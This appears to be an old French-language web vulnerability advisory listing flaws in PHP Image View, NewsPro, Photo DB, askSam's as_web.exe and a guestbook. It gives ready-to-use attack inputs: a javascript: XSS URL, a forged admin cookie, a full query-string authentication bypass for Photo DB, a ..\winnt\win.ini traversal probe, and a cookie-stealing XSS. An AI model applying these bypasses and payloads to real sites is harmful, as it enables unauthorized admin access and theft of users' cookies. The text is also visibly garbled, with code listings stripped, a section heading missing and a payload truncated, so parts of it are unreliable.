5 holes, Part 4
***************
Intro :
*******
Il pleut.
Date :
******
04/05/02
Services :
**********
- PHP Image View
- NewsPro
- Photo DB
- As_web.exe
- GuestBook
Developpements :
****************
1) PHP Image View
~~~~~~~~~~~~~~~~~
http://www.onlinetools.org
Version :
1.0
Problème :
- Récuperation d'infos (phpinfo();)
- XSS
Developpement :
phpimageview.php est un script qui permet de visualiser des images.
Voici ses premières lignes :
----------------------
\n\t\t\t\t
| ";
Une url style phpimageview.php?pic=javascript:alert(document.domain); affichera dans
la source html :
Elle inclut un fichier qui doit vérifier si on est bien l'admin.
Voici le contenu détaillé de ce fichier :
<%
logged=request.cookies("logged") // La variable logged vaut la valeur du cookie logged
if logged <> "true" then // Si logged est different de "true",...
response.redirect "login.asp" // On redirige vers la page du login.
response.end
end if
%>
Il faut donc envoyer un cookie "logged,true" pour être reconnu administrateur sur toutes les
pages de NewsPro.
3) Photo Db
~~~~~~~~~~~
http://www.brokenbytes.org
Version :
1.4
Problème :
- Contournement des sécurités
Developpement :
Le fichier qui gère la sécurité des zones admins et qui est inclus dans toutes ces pages
est secure_inc.php .
Voici son code en entier :
----------------------------------------------------------------
$pageaccesslevel ) {
echo ("You do not have access to this");
exit();
}
?>
----------------------------------------------------------------
On voit clairement les 4 conditions pour avoir accès aux pages :
- $PHPSESSID ne doit pas être vide
- $Time doit être plus grand que date(U)
- $rmtusername et $rmtpassword ne doivent pas être vides
- $accesslevel doit être plus petit que $pageaccesslevel
La première condition est très facile à remplir, il suffit de rajouter PHPSESSID=quelquechose
à l'url.
Pour la seconde, c'est $Time qu'on va devoir modifier car il est comparé au résultat d'une
fonction, il faudra donc rajouter Time=unnombretrèsgrand .
La troisième condition est comme la première donc : rmtusername=qqchose et rmtpassword=qqchose.
Enfin la dernière. Ici encore une fois on pas le choix... au début des pages admins se trouvent
la ligne [$pageaccesslevel = "1";], donc c'est $accesslevel qu'on va changer;
accesslevel=unchiffrebas.
Pour ne pas être redirigé ou interdit d'accès à secure_inc.php, il faudra donc taper une url
du style:
/secure_inc.php?PHPSESSID=abc123&Time=9999999999999&rmtusername=hop&rmtpassword=hop&accessevel=-5
Et donc taper
?PHPSESSID=abc123&Time=9999999999999&rmtusername=hop&rmtpassword=hop&accessevel=-5
après nimporte quel fichier "sécurisé" pour y avoir accès.
4) As_web.exe
~~~~~~~~~~~~~
http://www.asksam.com
Versions :
1
4
autres ?
Problèmes :
- XSS
- Path Disclosure
Developpement :
La premiere faille Path Disclosure se trouve dans le moteur de recherche; il recherche via
certains "ask files"...
Le nom du fichier à utiliser se trouve dans la valeur "file".
Une url comme :
http://www.host.com/as_web.exe?Command=search&file=non-existant-file&request=&MaxHits=10&NumLines=1
Nous donnera l'erreur :
------------------------------------------------------------------------
Web Publisher Error:
Unable to open askSam file:
d:\PATH\SITE\non-existant-file
File was not found
For a more in depth explanation of the askSam Web Publisher error messages click here.
------------------------------------------------------------------------
Une autre se trouve à l'url : http://www.host.com/as_web.exe?non-existant
Dans la version 4 on a aussi :
http://www.host.com/as_web4.exe?Command=First&File=non-existant-file
Si le fichier n'existe pas, on aura le path et le commentaire "File was not found".
Mais si le fichier existe, par exemple avec une url style
http://www.host.com/as_web4.exe?Command=First&File=..\winnt\win.ini sur NT,
le path sera accompagné de l'erreur "This is not an askSam file. "
Le cross site scripting :
/as_web4.exe?existant-ask-file!!.ask+B+
/as_web.exe?existant-ask-file!!.ask+B+
, on récuperera le nom du cookie, il ne restera plus qu'a l'envoyer.
Enfin, dans le dossier /admin/ se trouve la page delete.asp qui permet de supprimer
les messages entrés... elle n'est pas protégée.
Greetz :
********
/
Credits :
*********
frog-m@n
leseulfrog@hotmail.com